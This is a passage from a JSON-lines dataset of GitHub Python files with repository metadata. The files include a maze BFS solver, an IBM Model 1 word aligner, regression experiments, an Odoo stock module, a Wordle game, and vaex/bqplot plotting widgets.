cli()\r\n","repo_name":"SOUMEE2000/Boilerplate-generator","sub_path":"App/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":2433,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"8914405725","text":"import sys\r\ninput = sys.stdin.readline\r\n\r\nN, M = map(int, input().split())\r\nmiro=[list(map(int, input().rstrip())) for _ in range(N)]\r\n \r\ndx=[1,0,-1,0]\r\ndy=[0,1,0,-1]\r\n\r\nfrom collections import deque\r\n\r\nq = deque([[0,0,1]])\r\n\r\nwhile q:\r\n n = q.popleft()\r\n x = n[0]\r\n y = n[1]\r\n d = n[2]\r\n if x == N-1 and y == M-1:\r\n print(d)\r\n break\r\n else:\r\n for i in range(4):\r\n nx = x + dx[i]\r\n ny = y + dy[i]\r\n if -1 < nx and nx < N and -1 < ny and ny < M and miro[nx][ny] == 1:\r\n q.append([nx,ny, d+1])\r\n miro[nx][ny]=0","repo_name":"qorjiwon/Algorithm","sub_path":"백준/Silver/2178. 미로 탐색/미로 탐색.py","file_name":"미로 탐색.py","file_ext":"py","file_size_in_byte":613,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"69903471209","text":"import numpy as np\nimport src.constants as constants\n\n\ndef get_length_of_cluster(clustered_song_note):\n cluster_size = 1\n\n for cluster_pointer in clustered_song_note[constants.ALL_POSSIBLE_INPUT_BOTTOM_TOP_CHOPPED:\n constants.ALL_NOTE_INPUT_VECTOR_SIZE]:\n if cluster_pointer == 1:\n return cluster_size\n\n cluster_size += 1\n\n return 12\n\n\ndef uncluster_song_notes(clustered_song_notes):\n unclustered_song_notes = []\n\n for clustered_song_note in clustered_song_notes:\n cluster_length = get_length_of_cluster(clustered_song_note)\n\n for cluster_index in range(cluster_length):\n unclustered_song_notes.append(\n clustered_song_note[0:constants.ALL_POSSIBLE_INPUT_BOTTOM_TOP_CHOPPED])\n\n return np.array(unclustered_song_notes)\n","repo_name":"arsenaultk9/Mirex2019PatternsPrediction","sub_path":"src/song_matrix_note_ungrouper.py","file_name":"song_matrix_note_ungrouper.py","file_ext":"py","file_size_in_byte":847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"34317713937","text":"from Core_Code.Retention_Confirmation_Workflow import Join_StandAlone_Molecular_Features,Run_Model_On_Punitive_Matches_debug\r\nimport pandas as pd\r\nimport os\r\n\r\n# approved,unapproved,unsure = Run_Model_On_Punitive_Matches(mummichog_with_rts_mol_features,template_rt_file_dir,model_dir,file_dir)\r\n\r\ncmpd_file = r'C:/Users/rubya/Desktop/Forsberg Lab/MainThesisFolderRTPred/xcmsScripts/Standards/ScherzoValidation/ribose.csv'\r\ntemplate_file = r'C:/Users/rubya/Desktop/Forsberg Lab/MainThesisFolderRTPred/xcmsScripts/Standards/ScherzoValidation/TemplateCmpds101020noribose.csv'\r\nmodel_pickle_file =r'C:/Users/rubya/Desktop/Forsberg Lab/MainThesisFolderRTPred/xcmsScripts/Models/RanForc18predretandSMRTdata2.pickle'\r\nfile_dir = r'C:/Users/rubya/Desktop/Forsberg Lab/MainThesisFolderRTPred/xcmsScripts/'\r\n\r\n\r\ndef Run_Model_On_StandAlone_Cmpds(cmpd_file,template_file,model_pickle_file,file_dir=os.getcwd(),Threshold=1.0):\r\n pos_matches_with_mol_feature = Join_StandAlone_Molecular_Features(cmpd_file)\r\n approved,unapproved,unsure,predictions, prob_A,essential_df = Run_Model_On_Punitive_Matches_debug(pos_matches_with_mol_feature,template_file,model_pickle_file,file_dir,Threshold)\r\n return approved,unapproved,unsure,predictions, prob_A,essential_df\r\n# approved,unapproved,unsure,predictions, prob_A,essential_df = Run_Model_On_StandAlone_Cmpds(cmpd_file,template_file,model_pickle_file,file_dir)","repo_name":"allan-ruby/RTCheck","sub_path":"RTCheckProgram/Core_Code/Run_Model_Standalone_Cmpds.py","file_name":"Run_Model_Standalone_Cmpds.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"70351522087","text":"from networkx.classes.graph import Graph\nimport numpy as np\nimport networkx as nx\nimport pickle\nfrom scipy.sparse import csr_matrix, lil_matrix\n\ndef loadBinary(f_name:str) -> csr_matrix:\n with open(f_name, 'rb') as rb:\n adj:csr_matrix = pickle.load(rb)\n return adj\n\ndef createFeatures(adj:csr_matrix) -> lil_matrix:\n n = adj.shape[0]\n\n features = np.zeros((n, n))\n for i in range(n):\n features[i][i] = 1\n features = lil_matrix(features)\n return features\n\nf_name = f'../vars/W_adj.adj'\nadj:csr_matrix = loadBinary(f_name)\n\nfeatures:lil_matrix = createFeatures(adj)\n\nf_name:str = f'../vars/W_bi.adj'\nbi_adj:csr_matrix = loadBinary(f_name)\n\n# f_name:str = '../vars/c_c.adj'\n# adj:csr_matrix = loadBinary(f_name)\n\n# features:lil_matrix = createFeatures(adj)\n\n# f_name:str = '../vars/c_t.biadj'\n# bi_adj:csr_matrix = loadBinary(f_name)\n\n# with open('../vars/annotate.ct', 'rb') as rb:\n# annotate_list:list = pickle.load(rb)\n","repo_name":"Last-Vega/kumagai","sub_path":"src/input_data.py","file_name":"input_data.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"6378314182","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Oct 20 13:16:15 2017\n\n@author: jean-marcsevin\n\"\"\"\n\nimport requests\nimport pandas as pd\nimport re\n\ntest = requests.get('https://www.open-medicaments.fr/api/v1/medicaments/63605055').json()\nlabo = test['titulaires']\nlibelle = test['presentations'][0]['libelle']\n\ndef get_meds():\n r = requests.get('https://www.open-medicaments.fr/api/v1/medicaments?query=ibuprofene&limit=100')\n return r.json()\n\ndf = pd.DataFrame([[med['codeCIS'], med['denomination']] for med in get_meds()])\n\n# df = pd.read_csv('CIS_bdpm.txt', sep='\\t')\n\nregex = re.compile('\\d+')\ndosage_par_unite = int(regex.findall(test['denomination'])[0])\nnombre_unite_par_boite = int(regex.findall(libelle)[0])","repo_name":"MS-BGD-2018-KIT-BIGDATA/JeanMarc_SEVIN","sub_path":"Lesson4/exo_cc_lesson_04.py","file_name":"exo_cc_lesson_04.py","file_ext":"py","file_size_in_byte":738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"25659187668","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Dec 15 10:40:11 2016\n\n@author: harrymunro\n\nLinear regression testing boarders and alighters vs mean dwell time.\n\"\"\"\n\nfrom sklearn import linear_model\nfrom sklearn.externals import joblib\nimport numpy as np\nimport pandas as pd\n\nfilename = 'resampled_by_unique_location.csv'\ndf = pd.read_csv(filename)\n\ny = np.array(df['DWELL TIME'])\nx1 = df['BOARDERS AND ALIGHTERS']\nx2 = df['SAF RATE']\nx3 = df['SEATING CAPACITY']\nx4 = df['STANDING CAPACITY']\nx5 = df['TRAIN DENSITY']\n\nX = np.array([x1, x2, x3, x4, x5])\n#X = np.array([x3])\nX = X.T\n\n# lasoo linear regression\nreg = linear_model.Lasso(alpha = 0.1)\nreg.fit(X, y)\nlassoo_score = reg.score(X, y)\n\n# ordinary linear regression\nreg = linear_model.LinearRegression()\nreg.fit(X, y)\nscore_ordinary_linear = reg.score(X, y)\nparams_ordinary_linear = reg.get_params()\njoblib.dump(reg, 'linear_regression_model.pkl')\n\nfrom scipy import stats\n#slope, intercept, r_value, p_value, std_err = stats.linregress(df['BOARDERS AND ALIGHTERS'],df['DWELL TIME'])\n#r2_linear = r_value**2\n\n# decision tree\nfrom sklearn import tree\nreg = tree.DecisionTreeRegressor()\nreg = reg.fit(X, y)\ntree_score = reg.score(X, y)\nfor n in range(2, 51, 2):\n reg = tree.DecisionTreeRegressor(max_depth = n)\n reg = reg.fit(X, y)\n print(reg.score(X, y))\n\n# neural network\nfrom sklearn import neural_network\nreg = neural_network.MLPRegressor(hidden_layer_sizes = 100)\nreg = reg.fit(X, y)\nscore_nn = reg.score(X, y)\nparams_nn = reg.get_params()\nfor n in range(10, 310, 10):\n reg = neural_network.MLPRegressor(hidden_layer_sizes = n)\n reg = reg.fit(X, y)\n print(reg.score(X, y))\n\n# SGD\nreg = linear_model.SGDRegressor()\nreg = reg.fit(X, y)\nscore_sgd = reg.score(X, y)\n\n# SVM\nfrom sklearn import svm\nreg = svm.SVR()\nreg = reg.fit(X, y)\nscore_svm = reg.score(X, y)\n\n# KNN\nfrom sklearn.neighbors import KNeighborsRegressor\nneigh = KNeighborsRegressor()\nreg = neigh.fit(X, y)\nreg.score(X,y)\n\nfor n in range(2, 21):\n neigh = KNeighborsRegressor(n_neighbors = n, weights = 'distance')\n reg = neigh.fit(X, y)\n s = reg.score(X,y)\n print(\"%r\" % s)\n","repo_name":"harrymunro/MSc-Code","sub_path":"regression.py","file_name":"regression.py","file_ext":"py","file_size_in_byte":2115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"15021144305","text":"import collections\nimport math\nimport aer\nimport initializations as inits\n\ndef EM(s_t_pairs, max_iterations = 10,\n val_sentence_pairs = None, reference_alignments = None, fn_debug = None):\n lprobs = inits.initialize_lprobs_uniform(s_t_pairs)\n i = 0\n log_likelihoods = []\n AERs = []\n while i < max_iterations:\n # initialize\n log_likelihood = 0\n AER = 0\n counts_t_given_s = collections.defaultdict(lambda: collections.defaultdict(int))\n total_s = collections.defaultdict(int)\n\n # calculate counts and log likelihood\n for (s_sentence, t_sentence) in s_t_pairs:\n for t_word in t_sentence:\n # normalization factor\n s_total_t = _likelihood_target_word(s_sentence, t_word, lprobs)\n log_likelihood += math.log(s_total_t)\n for s_word in s_sentence:\n update = lprobs[s_word][t_word]/(s_total_t * len(s_sentence))\n counts_t_given_s[s_word][t_word] += update\n total_s[s_word] += update\n \n # store log_likelihood and AER values\n log_likelihoods.append(log_likelihood)\n if val_sentence_pairs and reference_alignments:\n predicted_alignments = align(lprobs, val_sentence_pairs)\n AER = aer.calculate_AER(reference_alignments, predicted_alignments)\n AERs.append(AER)\n\n # print debug info\n if fn_debug:\n prev_llhood = None\n prev_AER = None\n if len(log_likelihoods) > 1:\n prev_llhood = log_likelihoods[-2]\n if len(AERs) > 1:\n prev_AER = AERs[-2]\n fn_debug(i, log_likelihood, AER, prev_llhood, prev_AER, lprobs)\n\n # update probabilities\n for s in lprobs.keys():\n for t in lprobs[s].keys():\n lprobs[s][t] = counts_t_given_s[s][t]/total_s[s]\n\n # update iteration number\n i += 1\n return lprobs, log_likelihoods, AERs\n\ndef log_likelihood_data(s_t_pairs, lprobs):\n return sum([log_likelihood_sentence(s_t_pair, lprobs) for s_t_pair in s_t_pairs])\n\ndef log_likelihood_sentence(s_t_pair, lprobs):\n (s_sentence, t_sentence) = s_t_pair\n return sum([ math.log(_likelihood_target_word(s_sentence, t_word, lprobs)) for t_word in t_sentence])\n\ndef _likelihood_target_word(s_sentence, t_word, lprobs):\n return sum([lprobs[s_word][t_word] for s_word in s_sentence]) / len(s_sentence)\n\ndef align(lprobs, sentence_pairs):\n if isinstance(sentence_pairs, tuple):\n return _align_sentence_pair(lprobs, sentence_pairs)\n return [ _align_sentence_pair(lprobs, sentence_pair) for sentence_pair in sentence_pairs ]\n\ndef _print_lexicon_probs(lprobs):\n for s in lprobs.keys():\n for t in lprobs[s].keys():\n if lprobs[s][t] > 0:\n print (s, t, lprobs[s][t])\n\ndef _align_sentence_pair(lprobs, sentence_pair):\n s_sentence = sentence_pair[0]\n t_sentence = sentence_pair[1]\n best_alignment = set()\n for j, t_word in enumerate(t_sentence):\n best_align_prob = -1\n best_align_pos = -1\n for i, s_word in enumerate(s_sentence):\n# if s_word not in lprobs.keys() or t_word not in lprobs[s_word].keys():\n# continue # ignore unseen source and target words\n align_prob = get_lprob(s_word, t_word, lprobs) #p(t|s)\n if align_prob >= best_align_prob:\n best_align_pos = i\n best_align_prob = align_prob\n if (best_align_pos > 0): # Leave out NULL-alignments (and alignments between unseen words)\n best_alignment.add((best_align_pos, j + 1)) # word positions start at 1\n return best_alignment\n\ndef get_lprob(s_word, t_word, lprobs):\n return lprobs[s_word].get(t_word, 0) #prob 0 if s/t word do not co-occur in training\n\n","repo_name":"maartje/NLP2-Project1","sub_path":"IBM1.py","file_name":"IBM1.py","file_ext":"py","file_size_in_byte":3859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39400229573","text":"from odoo import models, fields, api\nfrom datetime import date\n\n\nclass BtInStock(models.Model):\n _name = 'bt.in.stock'\n _description = 'In stock'\n\n _inherit = 'bt.create.sm.mixin'\n\n name = fields.Char(string='Name')\n\n purchase_order_id = fields.Many2one(comodel_name='bt.purchase.order',\n string='Purchase order')\n\n date = fields.Date(string='Date', default=date.today())\n\n supplier_id = fields.Many2one(comodel_name='bt.partner',\n string='Supplier')\n\n line_ids = fields.One2many(comodel_name='bt.is.line',\n inverse_name='invoice_id',\n auto_join=True,\n string='Invoice lines')\n\n total_amount = fields.Float(string='Total amount',\n readonly=True)\n\n state = fields.Selection(selection=[('draft', 'Draft'), ('post', 'Post')],\n default='draft')\n\n warehouse_id = fields.Many2one(comodel_name='bt.warehouse',\n string='Warehouse')\n\n stock_move_id = fields.Many2one(comodel_name='bt.stock.move',\n string='Stock move')\n\n stock_move_line_ids = fields.One2many(related='stock_move_id.line_ids',\n string='Stock move lines')\n\n def _compute_payment_supplier_count(self):\n self.payment_supplier_count = self.env['bt.payment.supplier'].search_count(\n [('po_id', '=', self.purchase_order_id.id)])\n\n payment_supplier_count = fields.Integer(string='Payment supplier',\n compute='_compute_payment_supplier_count')\n\n @api.model\n def create_payment(self, id):\n is_id = self.env['bt.in.stock'].search([('id', '=', id[0])])\n vals = {\n 'name': self.env['ir.sequence'].next_by_code('bt.ps.sequence') or 'New',\n 'partner_id': is_id.supplier_id.id,\n 'po_id': is_id.purchase_order_id.id,\n 'total_amount': is_id.total_amount\n }\n self.env['bt.payment.supplier'].create(vals)\n\n def get_payment_supplier(self):\n payments = self.env['bt.payment.supplier'].search([('po_id', '=', self.purchase_order_id.id)])\n\n tree_view = self.env.ref('_bt_trade.bt_payment_supplier_view_tree')\n form_view = self.env.ref('_bt_trade.bt_payment_supplier_view_form')\n\n if len(payments) == 1:\n return {\n 'type': 'ir.actions.act_window',\n 'name': 'Payment supplier',\n 'res_model': 'bt.payment.supplier',\n 'view_mode': 'form',\n 'views': [[form_view.id, 'form']],\n 'res_id': payments.id,\n }\n else:\n return {\n 'type': 'ir.actions.act_window',\n 'name': 'Payment supplier',\n 'res_model': 'bt.payment.supplier',\n 'view_mode': 'tree,form',\n 'views': [[tree_view.id, 'tree'], [form_view.id, 'form']],\n 'domain': [('id', 'in', payments.ids)],\n }\n\n @api.model\n def create(self, vals_list):\n if not vals_list.get('name'):\n vals_list['name'] = self.env['ir.sequence'].next_by_code('bt.is.sequence') or 'New'\n\n res = super(BtInStock, self).create(vals_list)\n return res\n\n def write(self, vals_list):\n res = super(BtInStock, self).write(vals_list)\n if vals_list.get('state') == 'post':\n self.stock_move_id = self.fill_stock_move(\n self.prepare_sm_values(self.date, self.warehouse_id.id, self.line_ids, type='invoice'),\n sm_id=self.stock_move_id.id)\n else:\n if self.state != 'post':\n self.clear_sm(self.stock_move_id.id)\n if vals_list.get('date'):\n self.stock_move_id.date = res.date\n return res\n","repo_name":"ikuchmar/OdooDev","sub_path":"_tu_helper/__tasks/_bt_trade/models/bt_in_stock.py","file_name":"bt_in_stock.py","file_ext":"py","file_size_in_byte":3955,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"25152337911","text":"import numpy as np\nfrom typing import List, Tuple, Union, Callable\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n\ndef get_data(experiment_name: str, count: int = 200, sample_size: int = 200, sep: str = ' ',\n n_plotted_trajectories: int = 5,\n plot_config: Union[List[Tuple[int, int]], None] = None, start_index: int = 0) -> np.ndarray:\n \"\"\"\n Gets trajectories data for the experiment\n @param experiment_name:\n @param count: Number of trajectories to read\n @param sample_size: Number of points in each trajectory\n @param sep: CSV separator\n @param n_plotted_trajectories:\n @param plot_config: Plots configurations: pairs of component indexes to plot\n @return: Loaded trajectories as a numpy array\n \"\"\"\n ans = []\n for i in range(count):\n d = pd.read_csv(f\"trajectories/{experiment_name}/{start_index + i}.csv\", sep=sep, header=None)\n N = len(d)\n assert N >= sample_size\n # take evenly spaced `sample_size` points\n ans.append(d.to_numpy()[::(N // sample_size)])\n X = np.array(ans)\n\n # Optionally, plot input trajectories\n if plot_config is not None:\n # Plot only few trajectories\n X_plot = X[:n_plotted_trajectories]\n # plot for every configuration\n N = len(plot_config)\n fig, axs = plt.subplots(N)\n fig.suptitle(f\"Input trajectories: {experiment_name}\")\n for idx in range(N):\n # components on the plot\n j, k = plot_config[idx]\n if N == 1:\n x = axs\n else:\n x = axs[idx]\n for traj in X_plot:\n x.scatter(traj[:, j], traj[:, k])\n x.set_xlabel(f\"Component #{j}\")\n x.set_ylabel(f\"Component #{k}\")\n fig.show()\n return X\n\n\ndef sortby_H(X: np.ndarray, H: Callable[[np.ndarray], float]) -> np.ndarray:\n \"\"\"\n Sorts data by Hamiltonian. Makes it possible to plot beautiful distance matrices.\n @param X: Trajectories data\n @param H: Hamiltonian\n @return: Sorted trajectories data\n \"\"\"\n Hs = np.array([H(x[0]) for x in X])\n return X[Hs.argsort()]\n\n\ndef batch_get_data(experiment_name: str, count: int = 200, sample_size: int = 200, sep: str = ' ',\n n_plotted_trajectories: int = 5,\n plot_config: Union[List[Tuple[int, int]], None] = None, start_index: int = 0, n_batches: int = 5):\n res = []\n for i in range(n_batches):\n next_plot_config = plot_config if i == 0 else None\n res.append(get_data(experiment_name, count, sample_size, sep, n_plotted_trajectories, next_plot_config,\n start_index + count * i))\n return np.array(res)\n","repo_name":"waleko/ai-prentice-conservation-laws","sub_path":"utils/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"72391455528","text":"import sys\nfrom argparse import ArgumentParser\nimport os\nimport numpy as np\nimport enchant\nfrom termcolor import colored\nfrom typing import List, Iterable\n\n\nclass Wordle:\n EXACT_MATCH = 'green'\n MATCH = 'yellow'\n MISMATCH = 'white'\n SUPPORTED_LANGUAGES = ['en_US', 'de_DE']\n DATA_DIR = 'data/'\n MAX_TRIES = 5\n WORD_LENGTH = 5\n CMDS = {'solve': '!solve', 'quit': '!quit'}\n\n def __init__(self, language: str = 'en_US', seed: int = None, solution: str = None) -> None:\n assert language in self.SUPPORTED_LANGUAGES\n self.language = language\n self.dictionary = enchant.Dict(language)\n self.solution = solution\n self.language = language\n self.solved = False\n self.alphabet = {l: None for l in 'abcdefghijklmnopqrstuvwxyz'}\n\n with open(os.path.join(self.DATA_DIR, self.language + '_reviewed.txt')) as infile:\n self.word_list = [word.strip('\\n') for word in infile.readlines()]\n\n self.solution = solution\n if solution is None:\n self.seed = seed\n if seed is None:\n self.seed = np.random.randint(100000, 999999)\n np.random.seed(self.seed)\n self.solution = np.random.choice(self.word_list, 1)[0]\n else:\n self._validate_input(solution)\n\n def _assert_correct_word_length(self, word: str) -> None:\n assert len(word) == self.WORD_LENGTH, f'Word must have {self.WORD_LENGTH} letters.'\n\n def _assert_correct_spelling(self, word: str) -> None:\n assert self.dictionary.check(word) or self.dictionary.check(word.capitalize()), \\\n f'{word} not found in {self.language} dictionary.'\n\n def _validate_input(self, word: str):\n self._assert_correct_word_length(word)\n self._assert_correct_spelling(word)\n\n def check_submission(self, submission: str) -> List[str]:\n self._validate_input(submission)\n\n response = [self.MISMATCH] * self.WORD_LENGTH\n for index, (lsub, lsol) in enumerate(zip(submission, self.solution)):\n if lsub == lsol:\n response[index] = self.EXACT_MATCH\n continue\n if lsub in self.solution:\n response[index] = self.MATCH\n\n if response == [self.EXACT_MATCH] * self.WORD_LENGTH:\n self.solved = True\n\n return response\n\n def play(self):\n print('*'*50 + '\\n' + ' '*21 + 'WORDLE\\n' + '*'*50)\n print(f'Selected language: {self.language}, number of tries: {self.MAX_TRIES}. Game random seed: {self.seed}')\n print(f'Type {self.CMDS[\"quit\"]} to quit or {self.CMDS[\"solve\"]} to solve.\\n')\n tries = 0\n while not self.solved and tries <= self.MAX_TRIES:\n _input = input(f'Type a {self.WORD_LENGTH} letter word> ')\n if _input == self.CMDS['solve']:\n break\n if _input == self.CMDS['quit']:\n sys.exit()\n try:\n coding = self.check_submission(_input)\n self._update_alphabet(_input, coding)\n self._print_colored_response(_input, coding)\n except AssertionError as e:\n print(e)\n continue\n tries += 1\n\n if not w.solved:\n print(f'\\nwomp womp womp... the solution was {self.solution}')\n else:\n print(f'Congrats, you did it! In {tries} tries.')\n\n def _update_alphabet(self, submission: str, coding: Iterable[str]) -> None:\n for letter, color in zip(submission, coding):\n if self.alphabet[letter] == self.EXACT_MATCH and color == self.MATCH:\n continue\n self.alphabet[letter] = color\n\n def _print_colored_response(self, submission: str, coding: Iterable[str]) -> None:\n text = ''\n for letter, color in zip(submission, coding):\n if color == self.MISMATCH:\n text = text + colored(letter, 'white', 'on_grey')\n else:\n text = text + colored(letter, 'grey', f'on_{color}')\n\n text = text + ' ' * 10\n\n for letter in self.alphabet:\n if self.alphabet[letter] is None:\n text = text + ' ' + letter\n elif self.alphabet[letter] == self.MISMATCH:\n text = text + ' ' + colored(letter, 'white', 'on_grey')\n else:\n text = text + ' ' + colored(letter, 'grey', f'on_{self.alphabet[letter]}')\n\n print(text)\n\n\nif __name__ == '__main__':\n parser = ArgumentParser()\n parser.add_argument('--language', type=str, choices=['en_US', 'de_DE'], default='en_US', help='Language to play.')\n parser.add_argument('--seed', type=int, help='Seed to play a specific word. Overridden by solution')\n parser.add_argument('--solution', type=str, help='Set a specific solution word. Overrides seed.')\n\n args = parser.parse_args()\n\n w = Wordle(language=args.language, seed=args.seed, solution=args.solution)\n w.play()\n","repo_name":"flinder/cli-wordle","sub_path":"src/wordle.py","file_name":"wordle.py","file_ext":"py","file_size_in_byte":4969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"16100057514","text":"import asyncio\nimport logging\n\nfrom core.database.database import create_db\nfrom core.feeds.helpers import action_wrapper\nfrom core.database.crud.exchange import read_exchange_by_id\nfrom core.database.crud.market import read_markets_by_exchange\nfrom core.exchanges.coinbase.api import CoinbaseApiHelper\nfrom core.feeds.coinbase.public_trades_feed import fetch_products\n\n\ndef daily_currency_stats_result_generator(configs: dict):\n exchange_id = configs.get(\"exchange_id\")\n if not exchange_id:\n logging.error(\n \"Daily Currency Stats Result Generator : Required Exchange ID is Missing from Feed Configs\"\n )\n return\n loop = asyncio.get_event_loop()\n feed_data = loop.run_until_complete(fetch_products(exchange_id))\n if not feed_data:\n logging.error(\n \"Daily Currency Stats Result Generator : Failed to Fetch Feed Data from Database\"\n )\n return\n exchange = feed_data.get(\"exchange\")\n if not exchange:\n logging.error(\n \"Daily Currency Stats Result Generator : Exchange is Missing or None\"\n )\n return\n markets = feed_data.get(\"markets\")\n if not markets:\n logging.error(\n f\"Daily Currency Stats Result Generator : Markets are Missing or None\"\n )\n return\n for market in markets:\n stats = exchange.api(exchange).get_daily_currency_stats(market.symbol)\n yield action_wrapper(stats)\n","repo_name":"Kroonjay/Bottify","sub_path":"core/feeds/coinbase/daily_currency_stats_feed.py","file_name":"daily_currency_stats_feed.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"22269639720","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\n\n# try to solve the question using two pointer method slow and fast,\n# forward slow pointer to next node and fast pointer to next of next node, while fast node pointer is not None\n# if slow and fast found at same node return True , bcz if linked list has cycle then at a condition slow and fast pointer comes on same node\n# if fast or slow have no next (next is None) then return False bcz the linked list has no cycle\n\n\nclass Solution:\n def hasCycle(self, head: Optional[ListNode]) -> bool:\n # return false if LinkedList is empty\n if not head:\n return False\n\n # starting slow from head\n slow=head\n\n # starting fast from next of head\n fast=head.next\n\n while fast and fast.next:\n\n # if slow and fast found at same node return True\n if slow==fast:\n return True\n\n # slow -> slow.next\n slow=slow.next\n\n # fast -> fast.next.next\n fast=fast.next.next\n \n\n return False\n \n\n# Time complexity - o(n)\n# Space complexity - o(1)\n","repo_name":"ofmukesh/Learning","sub_path":"LeetCode_Top_150/hasCycle.py","file_name":"hasCycle.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"17077985452","text":"import bqplot\nimport ipywidgets as widgets\nimport numpy as np\nimport traitlets\n\nimport vaex.image\n\n\nblackish = '#777'\nDEBOUNCE_SELECT = 0.5\n\n\nclass _BqplotMixin(traitlets.HasTraits):\n x_min = traitlets.CFloat()\n x_max = traitlets.CFloat()\n y_min = traitlets.CFloat(None, allow_none=True)\n y_max = traitlets.CFloat(None, allow_none=True)\n x_label = traitlets.Unicode()\n y_label = traitlets.Unicode()\n tool = traitlets.Unicode(None, allow_none=True)\n\n def __init__(self, zoom_y=True, **kwargs):\n super().__init__(**kwargs)\n self.x_scale = bqplot.LinearScale(allow_padding=False)\n self.y_scale = bqplot.LinearScale(allow_padding=False)\n widgets.link((self, 'x_min'), (self.x_scale, 'min'))\n widgets.link((self, 'x_max'), (self.x_scale, 'max'))\n widgets.link((self, 'y_min'), (self.y_scale, 'min'))\n widgets.link((self, 'y_max'), (self.y_scale, 'max'))\n\n self.x_axis = bqplot.Axis(scale=self.x_scale)\n self.y_axis = bqplot.Axis(scale=self.y_scale, orientation='vertical')\n widgets.link((self, 'x_label'), (self.x_axis, 'label'))\n widgets.link((self, 'y_label'), (self.y_axis, 'label'))\n self.x_axis.color = blackish\n self.y_axis.color = blackish\n self.x_axis.label_color = blackish\n self.y_axis.label_color = blackish\n # self.y_axis.tick_style = {'fill': blackish, 'stroke':'none'}\n self.y_axis.grid_color = blackish\n self.x_axis.grid_color = blackish\n self.x_axis.label_offset = \"2em\"\n self.y_axis.label_offset = \"3em\"\n self.x_axis.grid_lines = 'none'\n self.y_axis.grid_lines = 'none'\n\n self.axes = [self.x_axis, self.y_axis]\n self.scales = {'x': self.x_scale, 'y': self.y_scale}\n\n self.figure = bqplot.Figure(axes=self.axes)\n self.figure.background_style = {'fill': 'none'}\n self.figure.padding_y = 0\n self.figure.fig_margin = {'bottom': 40, 'left': 60, 'right': 10, 'top': 10}\n\n self.interacts = {}\n self.interacts['pan-zoom'] = bqplot.PanZoom(scales={'x': [self.x_scale], 'y': [self.y_scale] if zoom_y else []})\n self.interacts['select-rect'] = bqplot.interacts.BrushSelector(x_scale=self.x_scale, y_scale=self.y_scale, color=\"green\")\n self.interacts['select-x'] = bqplot.interacts.BrushIntervalSelector(scale=self.x_scale, color=\"green\")\n self._brush = self.interacts['select-rect']\n self._brush_interval = self.interacts['select-x']\n\n # TODO: put the debounce in the presenter?\n @vaex.jupyter.debounced(DEBOUNCE_SELECT)\n def update_brush(*args):\n with self.output:\n if not self._brush.brushing: # if we ended _brushing, reset it\n self.figure.interaction = None\n if self._brush.selected is not None:\n x1, x2 = self._brush.selected_x\n y1, y2 = self._brush.selected_y\n # (x1, y1), (x2, y2) = self._brush.selected\n # mode = self.modes_names[self.modes_labels.index(self.button_selection_mode.value)]\n self.presenter.select_rectangle(x1, x2, y1, y2)\n else:\n self.presenter.select_nothing()\n if not self._brush.brushing: # but then put it back again so the rectangle is gone,\n self.figure.interaction = self._brush\n\n self._brush.observe(update_brush, [\"selected\", \"selected_x\"])\n\n @vaex.jupyter.debounced(DEBOUNCE_SELECT)\n def update_brush(*args):\n with self.output:\n if not self._brush_interval.brushing: # if we ended _brushing, reset it\n self.figure.interaction = None\n if self._brush_interval.selected is not None and len(self._brush_interval.selected):\n x1, x2 = self._brush_interval.selected\n self.presenter.select_x_range(x1, x2)\n else:\n self.presenter.select_nothing()\n if not self._brush_interval.brushing: # but then put it back again so the rectangle is gone,\n self.figure.interaction = self._brush_interval\n\n self._brush_interval.observe(update_brush, [\"selected\"])\n\n def tool_change(change=None):\n self.figure.interaction = self.interacts.get(self.tool, None)\n self.observe(tool_change, 'tool')\n self.widget = self.figure\n\n\nclass Histogram(_BqplotMixin):\n opacity = 0.7\n\n def __init__(self, output, presenter, **kwargs):\n self.output = output\n self.presenter = presenter\n super().__init__(zoom_y=False, **kwargs)\n self.bar = self.mark = bqplot.Bars(x=[1, 2], scales=self.scales, type='grouped')\n self.figure.marks = self.figure.marks + [self.mark]\n\n def update_data(self, x, y, colors):\n self.mark.x = x\n self.mark.y = y\n self.mark.colors = colors\n\n def _reset_opacities(self):\n opacities = self.mark.y * 0 + self.opacity\n self.mark.opacities = opacities.T.ravel().tolist()\n\n def highlight(self, index):\n if index is None:\n self._reset_opacities()\n opacities = (self.mark.y * 0 + 0.2)\n if len(self.mark.y.shape) == 2:\n opacities[:, index] = self.opacity\n else:\n opacities[index] = self.opacity\n self.mark.opacities = opacities.T.ravel().tolist()\n\n\nclass PieChart(_BqplotMixin):\n opacity = 0.7\n\n def __init__(self, output, presenter, radius=100, **kwargs):\n self.output = output\n self.presenter = presenter\n self.radius = radius\n 